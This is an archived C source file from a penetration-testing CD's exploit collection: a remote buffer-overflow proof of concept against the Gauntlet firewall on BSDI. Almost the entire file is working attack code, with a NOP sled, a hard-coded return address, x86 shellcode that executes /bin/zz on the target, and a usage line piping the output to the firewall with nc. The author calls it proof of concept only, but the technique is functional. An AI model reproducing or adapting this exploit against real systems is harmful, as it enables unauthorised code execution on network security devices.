home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / remote / animal.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  62 lines

  1. /*
  2. *                  Animal.c
  3. *
  4. *
  5. * Remote Gauntlet BSDI proof of concept exploit.
  6. * Garrison technologies may have found it, but I am the
  7. * one who released it.  ;) I do not have a Sparc or I would
  8. * write up the Solaris one too.  If you have one, please
  9. * make the changes needed and post it.  Thanks.
  10. *
  11. * Script kiddies can go away, this will only execute a file
  12. * named /bin/zz on the remote firewall.  To test this code,
  13. * make a file named /bin/zz and chmod it to 700.
  14. * I suggest for the test you just have the zz file make a note
  15. * in syslog or whatever makes you happy.
  16. *
  17. * This code is intened for proof of concept only.
  18. *
  19. *
  20. * _Gramble_
  21. *                                             Hey BuBBles
  22. *
  23. *To use:
  24. *      # Animal | nc <address> 8999
  25. */
  26.  
  27.  
  28. #include <stdio.h>
  29.  
  30.  
  31. char data[364];
  32.  
  33. main() {
  34.         int i;
  35.     char shelloutput[80];
  36.  
  37.  
  38. /* just borrowed this execute code from another exploit */
  39.  
  40.     unsigned char shell[] =
  41.         "\x90"
  42.     "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76"
  43.     "\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07"
  44.     "\xff\xe8\xdc\xff\xff\xff/bin/zz\x00";
  45.  
  46.  
  47.         for(i=0;i<264;i++)
  48.                 data[i]=0x90;
  49.         data[i]=0x30;i++;
  50.         data[i]=0x9b;i++;
  51.         data[i]=0xbf;i++;
  52.         data[i]=0xef;i++;
  53.         data[i] = 0x00;
  54.     for (i=0; i<strlen(shell); i++)
  55.         shelloutput[i] = shell[i];
  56.         shelloutput[i] = 0x00;
  57.  
  58.     printf("10003.http://%s%s", data, shelloutput);
  59.  
  60.  
  61. }
  62.